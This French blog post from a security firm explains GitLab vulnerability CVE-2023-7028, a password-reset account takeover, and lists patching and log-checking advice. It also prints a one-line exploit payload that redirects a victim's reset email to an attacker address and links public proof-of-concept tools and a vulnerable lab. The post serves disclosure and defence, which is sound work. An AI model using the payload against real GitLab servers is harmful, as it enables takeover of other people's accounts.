Compromettre des comptes Gitlab avec la vulnérabilité CVE-2023-7028
😮 Exposer GitLab publiquement en 2024 : trop dangereux ?
Est ce que exposer son propre Gitlab est une bonne pratique de sécurité ? Et bien vous allez voir que non.
2024 commence fort et donne encore de bonnes raisons de ne pas exposer ce service sur Internet (mais plutôt de l’héberger derrière un VPN).
Un début d’année sous haute tension
Le 11 janvier 2024, GitLab, la célèbre plateforme communautaire, a publié une annonce importante concernant les nouvelles versions 16.7.2, 16.6.4 et 16.5.6
pour GitLab Community Edition (CE) et Enterprise Edition (EE).
Deux vulnérabilités sont expliquées :
La vulnérabilité CVE-2023-7028
- CVSS de 10/10 😮
- Elle permet la prise de contrôle d’un compte via la réinitialisation du mot de passe sans interaction de l’utilisateur.
La vulnérabilité CVE-2023-5356
- CVSS de 9.6/10 😟
- Elle permet à un utilisateur d’abuser des intégrations Slack/Mattermost pour exécuter des commandes slash en tant qu’autre utilisateur.
En bref
La vulnérabilité la plus problématique est la première : la CVE-2023-7028.
Loin d’être inoffensive, elle est très problématique :
- Elle permet de réinitialiser le mot de passe de n’importe quel utilisateur.
- La vulnérabilité est exploitable sans compte.
- Il est nécessaire de connaitre le mail de la victime.
- La charge tient en une ligne :
user[email][]=my.target@example.com&user[email][]=hacker@evil.com
La deuxième vulnérabilité est tout aussi grave mais moins facilement exploitable.
Exploitation
Pour exploiter cette vulnérabilité, le PoC est vraiment très simple :
|
|
valid@email.com
est l’adresse de la victimeattacker@email.com
est l’adresse de l’attaquant
Une confusion est effectuée par GitLab rendant la possibilité à un attaquant d’écraser le mail de la victime par le sien 😮 !
Plus précisément, une modification a été apportée à la version 16.1.0
afin de permettre aux utilisateurs de réinitialiser leur mot de passe à l’aide d’une adresse électronique secondaire. La vulnérabilité résulte d’un bug dans le processus de vérification des email.
👉 Plus de détails sur le blog de GitLab : https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/#account-takeover-via-password-reset-without-user-interactions
Actions recommandées
Gitlab recommande les actions suivantes :
1️⃣ Mise à jour immédiate : il est fortement conseillé de mettre à jour Gitlab vers la dernière version corrigée. Pour les utilisateurs n’ayant pas encore effectué de mise à jour, GitLab recommande de passer directement aux versions 16.7.3, 16.6.5, 16.5.7
ou ultérieures.
2️⃣ Activer l’authentification à deux facteurs (2FA): GitLab conseille d’activer le 2FA pour tous les comptes. Cette sécurité empêche l’utilisation de cette vulnérabilité.
3️⃣ Vérification de l’intégrité : il est conseillé aux clients auto-gérés d’examiner leurs logs afin détecter toute tentative d’exploitation de ces vulnérabilités.
Exemple :
- Consulter le fichier
gitlab-rails/production_json.log
afin de vérifier qu’aucune requête pointant vers la route/users/password
ne contienne plusieurs adresses emails. - Consulter le fichier
gitlab-rails/audit_json.log
afin de vérifier que le champmeta.caller_id
dePasswordsController#create
ettarget_details
ne contiennent pas plusieurs adresses emails.
Automatisation
De nombreux PoC sont disponibles sur Internet permettant d’automatiser la vulnérabilité :
- Fait par un français talentueux : https://github.com/Vozec/CVE-2023-7028
- https://github.com/V1lu0/CVE-2023-7028
Docker vulnérable
Pour les plus curieux, vous trouverez ci-dessous un docker compose vulnérable pour pratiquer cette vulnérabilité
|
|
Disponible sur le GitHub de Trackflaw : https://github.com/Trackflaw/CVE-2023-7028-Docker
Démonstration
Petite démonstration ci-dessous pour présenter l’exploitation de la vulnérabilité :
🙏 Patchez rapidement. Trackflaw est la pour vous aider dans cette tâche. Prenez contact avec nous sur https://trackflaw.com ou par email contact (@) trackflaw.com